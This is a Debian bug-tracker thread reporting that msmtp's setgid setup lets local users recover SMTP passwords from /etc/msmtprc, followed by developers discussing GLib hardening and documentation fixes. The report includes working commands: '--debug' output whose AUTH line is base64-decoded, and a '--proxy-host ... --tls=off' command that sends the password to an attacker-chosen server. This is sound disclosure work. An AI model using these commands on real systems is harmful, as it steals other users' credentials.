Bug#944188: /etc/msmtprc password disclosure

[Simon Deziel]

Hello

On 2021-06-19 9:52 a.m., nodiscc wrote:

I found 4 msmtp repositories on salsa.debian.org, is it this one?
https://salsa.debian.org/kolter/msmtp


Yes, ^ that's the one. Thanks

Simon

Bug#944188: /etc/msmtprc password disclosure

[nodiscc]

Hi,
I recently switched from the old, world-readable /etc/msmtprc file, to
root:msmtp ownership+sgid bit

After quickly reading this bug report I think the best solution is to
warn about this limitation in the docs (and maybe changelog).

> ...
> # chmod 0640 /etc/msmtprc
> # chgrp msmtp /etc/msmtprc
>
> And the msmtp binary can be "setgid" to execute as the "msmtp" group.
>
> CAUTION: the setgid protection mechanism can easily be worked around by
>  any user with the ability to run the msmstp command, for example:
>  msmtp --debug nob...@example.org < /dev/null (see Debian bug #944188)
>  If the SMTP credentials need better protection, please consider a
>  different MTA like exim or postfix that offer clear security 
> boundaries.

I think the current sgid mechanism is still better than having the
file world-readable
(an attacker must be able to execute arbitrary commands instead of
just being able to
read world-readable files)

The sgid bit itself can also probably be abused (because the program
is not written
in a safe/paranoid way) to run arbitrary commands as effective group id msmtp,
but as far a I know the only special privileges for this group in a
standard install is
to, well, read /etc/msmtprc

I'd like to send a patch for the documentation, but where is the
Debian package source?
I found 4 msmtp repositories on salsa.debian.org, is it this one?
https://salsa.debian.org/kolter/msmtp

Thanks

Bug#944188: /etc/msmtprc password disclosure

[Simon Deziel]

On 2021-02-17 8:30 p.m., Simon McVittie wrote:

On Wed, 17 Feb 2021 at 18:01:26 -0500, Simon Deziel wrote:

1) you are worried that since msmtp wasn't written with setgid in mind,
there's a risk of someone elevating their privileges to $USER:msmtp to
execute code

=> Doesn't that just give you read access to /etc/msmtprc?


I don't know, I don't use msmtp. Presumably yes?

If this is worth protecting by using OS-level security boundaries,
then it seems to me that it's worth protecting in a way that isn't
easily defeated - otherwise the effect is to give sysadmins a false
sense of security.


If by easily defeated, you mean leaking the SMTP password with 'msmtp 
--debug' then I fully agree. If on the other hand you are implying that 
the setgid feature could be abused to leak the SMTP password, then I 
wouldn't consider this easily defeated.



2) Glib should be hardened to treat setgid processes specially to make it
more secure. Doing so breaks the msmtp libsecret integration.


Yes, ish. It's more like: GLib should ideally be hardened to treat all
processes that have the AT_SECURE flag equally specially. AT_SECURE is
the kernel telling us "you have privileges, be careful not to trust your
parent process", and ideally GLib would always respond to that by being
as careful as possible.

However, GLib 2.66.4-2 tried being as careful as possible, and it turns
out to make programs (at least msmtp and gnome-keyring) regress, by
preventing them from learning the address of the D-Bus session bus. At the
moment, GLib is second-guessing that warning from the kernel and asking
"but am I *really* privileged, or just *slightly* privileged?" in order to
keep msmtp and gnome-keyring working, but that's extra security exposure -
and not just in msmtp, but also in programs that are protecting something
more important than a SMTP password.


Thanks for the clear explanation!


GLib is not really in a position to know that setgid msmtp is any less
dangerous than setgid shadow, or setgid adm, or setgid sudo. If we tried
to hard-code which privileges are genuinely important and which privileges
are unimportant, that would scale really badly.


Agreed.


I would recommend removing the setgid support from msmtp, and recommending
that people who want a system-wide authenticating MTA whose credentials
are not disclosed to unprivileged users


Doing so by default would let everyone read creds from /etc/msmtprc which
sounds easier than abusing a setgid (even one not designed to run that way).


If Debian wasn't telling sysadmins "it's safe to put msmtp credentials in
/etc/msmtprc, unprivileged users won't be able to read them", then they
could make their own decision about whether it's acceptable for unprivileged
users on their systems to be able to see the SMTP password.

If that's fine for that particular sysadmin's threat model, then the setgid
mechanism would be unnecessary.

If not, then that sysadmin should probably be choosing something "heavier"
than msmtp, that does put a real security boundary between users and
SMTP credentials, and treats it as a security vulnerability with CVE IDs
and advisories if that boundary fails - like exim or postfix. And, yes,
that often implies running a daemon. The sysadmin will have to decide
whether that's worth it.


That said, msmtp is really nice due to not having to run a daemon.


Of course - I don't use msmtp myself, but I've used similar small
SMTP-sending implementations like esmtp in the past, and I recognise the
advantages of that architecture. However, this architecture comes with
limitations, and I think it's important to be realistic about what msmtp
can and can't promise.

>

As a user, I guess I wouldn't mind having that setgid behind a debconf
question. Would that middle ground work?


I'm not sure that really helps. If the sysadmin doesn't trust msmtp
to keep passwords safe from unprivileged users, they can just not put
those passwords in /etc/msmtprc, or at the other extreme, if they don't
care whether unprivileged users can read those passwords, then they can
make it world-readable. The problem case is in the middle, where msmtp
is promising that it will protect the credentials, and the sysadmin
believes its promise, but actually they should not have done. If a
sysadmin is in that position, then they'll answer the debconf question
"yes, make it setgid" and then be disappointed or angry when their
passwords are disclosed.

If msmtp is promising to protect the credentials from unprivileged users,
under at least some configurations, then it needs to be designed to do
that. If it's going to do that in a way that lives up to that promise, > then 
every line of code that ends up in its process space (including
libraries) needs to have been written, or at least reviewed, while
thinking "what's the worst possible way this could be tricked by a
malicious user?" - otherwise it's just providing a false sense of
security.


That represents a *lot* of effort and as you pointed out, 

Bug#944188: /etc/msmtprc password disclosure

[Simon McVittie]

On Wed, 17 Feb 2021 at 18:01:26 -0500, Simon Deziel wrote:
> 1) you are worried that since msmtp wasn't written with setgid in mind,
> there's a risk of someone elevating their privileges to $USER:msmtp to
> execute code
> 
> => Doesn't that just give you read access to /etc/msmtprc?

I don't know, I don't use msmtp. Presumably yes?

If this is worth protecting by using OS-level security boundaries,
then it seems to me that it's worth protecting in a way that isn't
easily defeated - otherwise the effect is to give sysadmins a false
sense of security.

> 2) Glib should be hardened to treat setgid processes specially to make it
> more secure. Doing so breaks the msmtp libsecret integration.

Yes, ish. It's more like: GLib should ideally be hardened to treat all
processes that have the AT_SECURE flag equally specially. AT_SECURE is
the kernel telling us "you have privileges, be careful not to trust your
parent process", and ideally GLib would always respond to that by being
as careful as possible.

However, GLib 2.66.4-2 tried being as careful as possible, and it turns
out to make programs (at least msmtp and gnome-keyring) regress, by
preventing them from learning the address of the D-Bus session bus. At the
moment, GLib is second-guessing that warning from the kernel and asking
"but am I *really* privileged, or just *slightly* privileged?" in order to
keep msmtp and gnome-keyring working, but that's extra security exposure -
and not just in msmtp, but also in programs that are protecting something
more important than a SMTP password.

GLib is not really in a position to know that setgid msmtp is any less
dangerous than setgid shadow, or setgid adm, or setgid sudo. If we tried
to hard-code which privileges are genuinely important and which privileges
are unimportant, that would scale really badly.

> > I would recommend removing the setgid support from msmtp, and recommending
> > that people who want a system-wide authenticating MTA whose credentials
> > are not disclosed to unprivileged users
> 
> Doing so by default would let everyone read creds from /etc/msmtprc which
> sounds easier than abusing a setgid (even one not designed to run that way).

If Debian wasn't telling sysadmins "it's safe to put msmtp credentials in
/etc/msmtprc, unprivileged users won't be able to read them", then they
could make their own decision about whether it's acceptable for unprivileged
users on their systems to be able to see the SMTP password.

If that's fine for that particular sysadmin's threat model, then the setgid
mechanism would be unnecessary.

If not, then that sysadmin should probably be choosing something "heavier"
than msmtp, that does put a real security boundary between users and
SMTP credentials, and treats it as a security vulnerability with CVE IDs
and advisories if that boundary fails - like exim or postfix. And, yes,
that often implies running a daemon. The sysadmin will have to decide
whether that's worth it.

> That said, msmtp is really nice due to not having to run a daemon.

Of course - I don't use msmtp myself, but I've used similar small
SMTP-sending implementations like esmtp in the past, and I recognise the
advantages of that architecture. However, this architecture comes with
limitations, and I think it's important to be realistic about what msmtp
can and can't promise.

> As a user, I guess I wouldn't mind having that setgid behind a debconf
> question. Would that middle ground work?

I'm not sure that really helps. If the sysadmin doesn't trust msmtp
to keep passwords safe from unprivileged users, they can just not put
those passwords in /etc/msmtprc, or at the other extreme, if they don't
care whether unprivileged users can read those passwords, then they can
make it world-readable. The problem case is in the middle, where msmtp
is promising that it will protect the credentials, and the sysadmin
believes its promise, but actually they should not have done. If a
sysadmin is in that position, then they'll answer the debconf question
"yes, make it setgid" and then be disappointed or angry when their
passwords are disclosed.

If msmtp is promising to protect the credentials from unprivileged users,
under at least some configurations, then it needs to be designed to do
that. If it's going to do that in a way that lives up to that promise,
then every line of code that ends up in its process space (including
libraries) needs to have been written, or at least reviewed, while
thinking "what's the worst possible way this could be tricked by a
malicious user?" - otherwise it's just providing a false sense of
security.

If this is not a use-case that the upstream developer supports, then I
think that's dangerous, because upstream will be happily writing code that
assumes the calling user is trusted (because under normal circumstances,
they are!), and it's up to the Debian maintainers to audit for code that
will break their assumptions whenever they update the Debian package.

Shared library dependencies 

Bug#944188: /etc/msmtprc password disclosure

[Simon Deziel]

On 2021-02-03 7:26 a.m., Simon McVittie wrote:

On Tue, 05 Nov 2019 at 10:02:23 -0500, Simon Deziel wrote:

On 2019-11-05 9:29 a.m., Jakub Wilk wrote:

If /etc/msmtprc is readable by group msmtp (as suggested in
README.Debian), any user can acquire password from that file


Nice catch! Having /etc/msmtprc group readable is AFAIK, a "debianism".
I don't know if upstream endorses this method of restricting access
to the default account's password.


Even if this specific attack did not exist, if msmtp is not specifically


Right, I'll be ignoring this (upstream) fixable problem for the sake of 
discussion.



designed to be safe to use with elevated privileges, then I think it's
a security-significant, Debian-specific bug to be making it setgid
in Debian.

Privileged (setuid/setgid/setcap) executables need to be written in a
defensive/paranoid way. They have to be specifically designed to distrust
their whole execution environment - environment variables, command-line
options, resource limits and so on - and every library they are linked
to needs to be specifically designed to do the same. Otherwise, there is
often a way for an attacker to trick the process into executing arbitrary
code with its elevated privileges, which gives the attacker access to
those elevated privileges. Please see
 for
a lot more information on this topic.

In this case, the elevated privilege is the ability to read files that
are 0640 root:msmtp, such as /etc/msmtprc in the configuration suggested
by Debian-specific documentation in this package.

This came to my attention because I was recently involved in hardening
GLib so that it is more difficult to use as an attack vector to get
elevated privileges like this. This made GLib distrust environment
variables, which ended up breaking msmtp's support for retrieving
passwords from libsecret
(see ,
).
Note that GLib is not really designed to be used in processes that run
with elevated privileges, so the GLib upstream maintainers consider this
to be security hardening to mitigate it being used in an unsafe way,
rather than a fix for a vulnerability in GLib.

For now, GLib upstream has partially reverted that change, weakening the
security hardening in order to fix the regression, and I'm going to do
the same in Debian. This should stop msmtp from regressing in terms of
which features work, but I cannot guarantee that it does not make msmtp
exploitable. If I find a concrete attack, I will report it privately to
the security team.


If I understand, the problem is twofold:

1) you are worried that since msmtp wasn't written with setgid in mind, 
there's a risk of someone elevating their privileges to $USER:msmtp to 
execute code


=> Doesn't that just give you read access to /etc/msmtprc?


2) Glib should be hardened to treat setgid processes specially to make 
it more secure. Doing so breaks the msmtp libsecret integration.




I would recommend removing the setgid support from msmtp, and recommending
that people who want a system-wide authenticating MTA whose credentials
are not disclosed to unprivileged users


Doing so by default would let everyone read creds from /etc/msmtprc 
which sounds easier than abusing a setgid (even one not designed to run 
that way).



should be using a fully-featured MTA that was designed to act as a
security boundary, like Exim or Postfix.
I don't fully understand your concerns but I trust you on their 
seriousness. That said, msmtp is really nice due to not having to run a 
daemon. I understand that makes it harder to secure the plain text creds 
that are in its config file.


I've been using msmtp for years on hundreds of machine and never used 
the libsecret integration. I'm sure I'm not alone so it would be nice to 
not go back to having /etc/msmtprc world-readable for all of us.


As a user, I guess I wouldn't mind having that setgid behind a debconf 
question. Would that middle ground work?


Regards,
Simon

Bug#944188: /etc/msmtprc password disclosure

[Philip Withnall]

On Wed, 3 Feb 2021 12:26:23 + Simon McVittie 
wrote:
> For now, GLib upstream has partially reverted that change, weakening
the
> security hardening in order to fix the regression, and I'm going to
do
> the same in Debian. This should stop msmtp from regressing in terms
of
> which features work, but I cannot guarantee that it does not make
msmtp
> exploitable. If I find a concrete attack, I will report it privately
to
> the security team.

From an upstream GLib point of view, we’re setting a timeline on when
we’re going to revert the reversion and re-harden GLib against this.
It’s being tracked in
https://gitlab.gnome.org/GNOME/glib/-/issues/2316, and the reversion
will be done in the 2.69/2.70 cycle. 2.70 is due to be released around
September 2021.

Debian can keep its partial reversion in the distro-specific patches
for GLib indefinitely, but after 2.70 you will be diverging from
upstream in that respect.

Philip


signature.asc
Description: This is a digitally signed message part

Bug#944188: /etc/msmtprc password disclosure

[Simon McVittie]

On Tue, 05 Nov 2019 at 10:02:23 -0500, Simon Deziel wrote:
> On 2019-11-05 9:29 a.m., Jakub Wilk wrote:
> > If /etc/msmtprc is readable by group msmtp (as suggested in
> > README.Debian), any user can acquire password from that file
> 
> Nice catch! Having /etc/msmtprc group readable is AFAIK, a "debianism".
> I don't know if upstream endorses this method of restricting access
> to the default account's password.

Even if this specific attack did not exist, if msmtp is not specifically
designed to be safe to use with elevated privileges, then I think it's
a security-significant, Debian-specific bug to be making it setgid
in Debian.

Privileged (setuid/setgid/setcap) executables need to be written in a
defensive/paranoid way. They have to be specifically designed to distrust
their whole execution environment - environment variables, command-line
options, resource limits and so on - and every library they are linked
to needs to be specifically designed to do the same. Otherwise, there is
often a way for an attacker to trick the process into executing arbitrary
code with its elevated privileges, which gives the attacker access to
those elevated privileges. Please see
 for
a lot more information on this topic.

In this case, the elevated privilege is the ability to read files that
are 0640 root:msmtp, such as /etc/msmtprc in the configuration suggested
by Debian-specific documentation in this package.

This came to my attention because I was recently involved in hardening
GLib so that it is more difficult to use as an attack vector to get
elevated privileges like this. This made GLib distrust environment
variables, which ended up breaking msmtp's support for retrieving
passwords from libsecret
(see ,
).
Note that GLib is not really designed to be used in processes that run
with elevated privileges, so the GLib upstream maintainers consider this
to be security hardening to mitigate it being used in an unsafe way,
rather than a fix for a vulnerability in GLib.

For now, GLib upstream has partially reverted that change, weakening the
security hardening in order to fix the regression, and I'm going to do
the same in Debian. This should stop msmtp from regressing in terms of
which features work, but I cannot guarantee that it does not make msmtp
exploitable. If I find a concrete attack, I will report it privately to
the security team.

I would recommend removing the setgid support from msmtp, and recommending
that people who want a system-wide authenticating MTA whose credentials
are not disclosed to unprivileged users should be using a fully-featured
MTA that was designed to act as a security boundary, like Exim or Postfix.

msmtp's design is fine for simpler use-cases where the process sending
email is allowed to have enough privileges to know the password, but it
does not seem to be designed to be used as a security boundary, which
means it is dangerous for Debian-specific changes to make it into a
security boundary.

Thanks,
smcv

Bug#944188: /etc/msmtprc password disclosure

[Simon Deziel]

Hi Jakub,

On 2019-11-05 9:29 a.m., Jakub Wilk wrote:
> Package: msmtp
> Version: 1.8.6-1
> Tags: security
> 
> If /etc/msmtprc is readable by group msmtp (as suggested in
> README.Debian), any user can acquire password from that file:
> 
>   $ ls -l /etc/msmtprc
>   -rw-r- 1 root msmtp 86 Nov  5 15:06 /etc/msmtprc
> 
>   $ cat /etc/msmtprc
>   cat: /etc/msmtprc: Permission denied
> 
>   $ msmtp --debug nob...@example.org < /dev/null
>   loaded system configuration file /etc/msmtprc
>   ignoring user configuration file /home/jwilk/.msmtprc: No such file or
> directory
>   falling back to default account
>   using account default from /etc/msmtprc
>   ...
>   --> AUTH PLAIN AGFsaWNlAGh1bnRlcjI=
>   ...
> 
>   $ base64 -d <<< 'AGFsaWNlAGh1bnRlcjI=' | tr '\0' ':'; echo
>   :alice:hunter2

Nice catch! Having /etc/msmtprc group readable is AFAIK, a "debianism".
I don't know if upstream endorses this method of restricting access
to the default account's password.

That said, I think it would be feasible for msmtp to obfuscate the AUTH
line when the UID/GID do not match the EUID/EGID and the config file
used it not world-readable.

The upstream developer is usually very responsive so it would be great
if you could report it to him.

Thank you!
Simon

Bug#944188: /etc/msmtprc password disclosure

[Simon Deziel]

On 2019-11-05 3:30 p.m., Jakub Wilk wrote:
> * Simon Deziel , 2019-11-05, 10:02:
>> Having /etc/msmtprc group readable is AFAIK, a "debianism".
> 
> This is my understanding, too.
> 
>> I don't know if upstream endorses this method of restricting access to
>> the default account's password.
> 
> I don't belive they do.
> 
>> That said, I think it would be feasible for msmtp to obfuscate the
>> AUTH line when the UID/GID do not match the EUID/EGID and the config
>> file used it not world-readable.
> 
> That wouldn't be sufficient. The attacker could run:
> 
>   $ msmtp --proxy-host=$HOST --proxy-port=$PORT --tls=off --auth=plain
> nob...@example.org < /dev/null
> 
> to make msmtp send unencrypted password to a proxy server of the
> attacker's choice.

That's an interesting variation because it also defeat other ways of
concealing the password from users (like a secret helper to decrypt it).

Maybe the proxy directives provided as argument or env vars could be
ignored when the UID/GID do not match the EUID/EGID.

Simon

Bug#944188: /etc/msmtprc password disclosure

[Jakub Wilk]

* Simon Deziel , 2019-11-05, 10:02:

Having /etc/msmtprc group readable is AFAIK, a "debianism".


This is my understanding, too.

I don't know if upstream endorses this method of restricting access to 
the default account's password.


I don't belive they do.

That said, I think it would be feasible for msmtp to obfuscate the AUTH 
line when the UID/GID do not match the EUID/EGID and the config file 
used it not world-readable.


That wouldn't be sufficient. The attacker could run:

  $ msmtp --proxy-host=$HOST --proxy-port=$PORT --tls=off --auth=plain 
nob...@example.org < /dev/null

to make msmtp send unencrypted password to a proxy server of the 
attacker's choice.


--
Jakub Wilk

Bug#944188: /etc/msmtprc password disclosure

[Jakub Wilk]

Package: msmtp
Version: 1.8.6-1
Tags: security

If /etc/msmtprc is readable by group msmtp (as suggested in 
README.Debian), any user can acquire password from that file:


  $ ls -l /etc/msmtprc
  -rw-r- 1 root msmtp 86 Nov  5 15:06 /etc/msmtprc

  $ cat /etc/msmtprc
  cat: /etc/msmtprc: Permission denied

  $ msmtp --debug nob...@example.org < /dev/null
  loaded system configuration file /etc/msmtprc
  ignoring user configuration file /home/jwilk/.msmtprc: No such file or 
directory
  falling back to default account
  using account default from /etc/msmtprc
  ...
  --> AUTH PLAIN AGFsaWNlAGh1bnRlcjI=
  ...

  $ base64 -d <<< 'AGFsaWNlAGh1bnRlcjI=' | tr '\0' ':'; echo
  :alice:hunter2

--
Jakub Wilk